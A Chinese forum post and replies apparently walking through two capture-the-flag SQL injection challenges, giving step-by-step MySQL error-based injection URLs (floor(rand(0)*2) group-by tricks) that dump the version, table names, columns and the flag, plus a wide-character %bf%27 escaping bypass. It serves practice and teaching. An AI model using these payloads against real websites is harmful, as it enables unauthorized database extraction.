跟着sqlmap一起学习手注
本帖最后由 wuyan 于 2015-10-18 21:25 编辑这两个列子很好,都是基友报错的mysql注入,对于一直没有环境的屌丝来说,可真是福音啊。这是极客游戏的两题,大家可以去玩玩。
第一题.
http://sql.sycsec.com/5f3b974ef6337582f2eeb8da24059c7a/看到题目懵了?看看源代码,uid参数,对吧,ok,我们构造号,试试
http://sql.sycsec.com/5f3b974ef6337582f2eeb8da24059c7a/?uid=1
看到这里还不懂,那你真的需要好好学习了。
废话不多说,直接上公式,原理我也懒得解释了,学了数据库你们就懂了。
http://sql.sycsec.com/5f3b974ef6337582f2eeb8da24059c7a/?uid=1 and (select 1 from (select count(*),concat((select version()),floor(rand(0)*2))x from information_schema.tables group by x)a); //爆版本
http://sql.sycsec.com/5f3b974ef6337582f2eeb8da24059c7a/?uid=1 and (select 1 from (select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x)a); //报数据库名字
不知道聪明的你知道怎么构造了没?
我们接着看有哪些表名和对应的列名
http://sql.sycsec.com/5f3b974ef6337582f2eeb8da24059c7a/?uid=1 and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a); 第一条表名
http://sql.sycsec.com/5f3b974ef6337582f2eeb8da24059c7a/?uid=1 and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a); 第二条表名
目测flag在这个表里面
接着干字段
http://sql.sycsec.com/5f3b974ef6337582f2eeb8da24059c7a/?uid=1 and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name=0x666C6167 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);//第一个字段
http://sql.sycsec.com/5f3b974ef6337582f2eeb8da24059c7a/?uid=1 and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name=0x666C6167 limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a);//第二个字段
字段名就是flag了,我们直接查询
http://sql.sycsec.com/5f3b974ef6337582f2eeb8da24059c7a/?uid=1 and (select 1 from (select count(*),concat((select flag from flag),floor(rand(0)*2))x from information_schema.tables group by x)a);
还有更好玩的宽字符注入
第二题,也是类似的,
直接上exp
http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=%bf%27 and (select 1 from (select count(*),concat((select key_flag from sql2.``),floor(rand(0)*2))x from information_schema.tables group by x)a);-- xxx
www.codersec.net求流量,不要ddos,不要ddos,不要ddos(重要的话说三遍)
http://www.ihonker.org/thread-6130-1-1.html招人,快快来搞基 这种好帖就是要顶一下~ javaer 要么??只会开发,不会黑技的。 你会sql3 么?
Re: 跟着sqlmap一起学习手注
谢谢楼主的分享,这两个例子确实很经典,把报错注入的常用套路都演示清楚了。对于刚接触手工注入的朋友来说,跟着payload一步步理解`count(*)`、`concat`、`floor(rand(0)*2)`组合的原理会非常有帮助。另外第二题用了宽字符注入绕过,也提醒了我们要注意编码问题。之前一直没找到合适的实战环境,正好去极客游戏练练手。感谢楼主提供的思路和地址,也祝你的站点越来越热闹~Re: 跟着sqlmap一起学习手注
感谢分享实战案例,报错注入的构造很清晰,尤其是concat和floor配合count(*)的group by报错,实际用起来确实高效。那个宽字符注入的例子也很有意思,%bf'配合转义绕过挺实用的。有空去极客游戏试试手,正好练练。Re: 跟着sqlmap一起学习手注
感谢楼主的分享,两个例子都很经典,尤其是报错注入的 payload 写得非常清晰,跟着一步步走下来对理解 count(*) 配合 group by 报错注入的原理很有帮助。以前看 sqlmap 代码总觉得抽象,这样手动注入一遍就直观多了。第二题的宽字符注入也是常见考点,楼主直接给出 exp 省了不少搜索的时间。极客游戏那个站现在还能玩吗?想去练练手。另外 codersec 的博客收藏了,有空去逛逛,不会 ddos 的哈哈。
页:
[1]